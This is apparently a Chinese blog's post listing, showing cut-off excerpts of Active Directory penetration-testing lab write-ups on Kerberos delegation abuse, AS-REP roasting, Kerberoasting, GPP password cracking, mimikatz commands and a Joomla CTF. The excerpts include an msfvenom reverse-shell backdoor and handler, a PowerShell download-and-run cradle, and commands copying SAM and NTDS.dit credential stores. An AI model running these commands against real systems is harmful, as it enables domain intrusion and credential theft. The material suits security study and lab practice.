a3320315的博客

环境域： test.com域控：Windows server 2012R2， 主机名： AD， IP： 192.168.1.7委派的域内主机：系统：win2008R2，主机名：win2008，ip：192.168.1.24域内普通用户： test，对win2008有写的权限域内普通用户： test1攻击机器：系统：win2019 ip：192.168.1.19 登录用户为test1设置test的写权限验证test这个用户对win2008是否具有写权限，可以使用PowerView枚举w

反弹shellwindows：生成后门msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 -f exe > test.exemsf等待连接use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.1.110 set lport 4444 exp

PowerViewPowerview有两个版本一个在dev分支：https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1一个在master分支：https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1dev分支能够使用Get-DomainUser查询域中约束委派的计算机和用户而master分支目前我还不知道怎

环境域： test.com域控：Windows server 2012R2， 主机名： AD， IP： 192.168.1.7域内主机：系统：windows 2012R2，主机名：HyyMbb，ip：192.168.1.22被委派用户test测试用户test1操作步骤我们需要提前知道的信息被委派用户的明文密码或者ntml密码：123!@#qwentml:e5ae562ddfaa6b446c32764ab1ebf3ed1、已经知道服务用户明文的条件下，我们可以用kekeo请求该用户

这个功能会通过LDAP查询域内用户设置了选项”Do not require Kerberos preauthentication”，然后发AS_REQ的包，直接生成hash或者john可破解的格式我们先设置一个用户不需要预验证然后直接使用Rubeus来寻找可以利用的用户~~执行的命令为：Rubeus.exe asreproast这样我们直接用hashcat爆破密码就行了这儿默认返回的是hash格式的，若想要返回john格式的执行命令Rubeus.exe asreproast /for

环境域： test.com域控：Windows server 2012R2， 主机名： AD， IP： 192.168.1.7域内主机：系统：windows 2008R2，主机名：WIN2008，ip：192.168.1.8原理：利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接我们给win2008R2这个主机账户开启非约束委派复现1、首先我们需要一个win2008R2的管理账号我直接用本地的管理员账号打开一个cmd直接运行命令Rubeus.exe m

获取NTDS.dit加载ps脚本IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.5/Invoke-NinjaCopy.ps1");提取本地sam文件Invoke-NinjaCopy -Path C:\Windows\System32\config\sam -LocalDestination C:\Users\Administrator\Desktop\sam提取域控NTDS.ditInvoke-NinjaCopy

攻击简介过程：查询SPN，找到有价值的SPN，需要满足以下条件： 1、该SPN注册在域用户帐户(Users)下 2、域用户账户的权限很高 3、请求TGS 4、导出TGS 5、暴力破解SETSPNsetspn -A HOST/AD.test.com test #给账号申请SPN机器：AD.test.com 帐号：test 服务：HOST 若有些服务有端口，则可以直接这样写:setspn -A HTTP/AD.test.com:80 testsetspn -

常见命令cls-----------------------------清屏exit----------------------------退出version------------查看mimikatz的版本system::user-----查看当前登录的系统用户system::computer-------查看计算机名称process::list------------------列出进程process::suspend 进程名称 -----暂停进程process::stop 进程名称--

总结与反思：GPP中管理员给域成员添加的账号信息存在xml，可以直接破解拿到账号密码。测试环境windows7 普通域成员windows2008 域控首先部署GPP，这里我部署的策略是给域成员都添加一个test用户，密码为test123添加一个本地用户然后来到组策略管理将domain computers 添加到验证组策略对象然后到域成员win7这台机器上执行gpupdate && net user 然后可以访问\\tomato-dc\SYSVOL\tomato.

本来是个域渗透，不过环境有问题，就当作web题在做了解题过程这是一个joomla cms我们先扫一下目录连接mysql得到MySQL的账号和密码然后创建新的管理员 INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064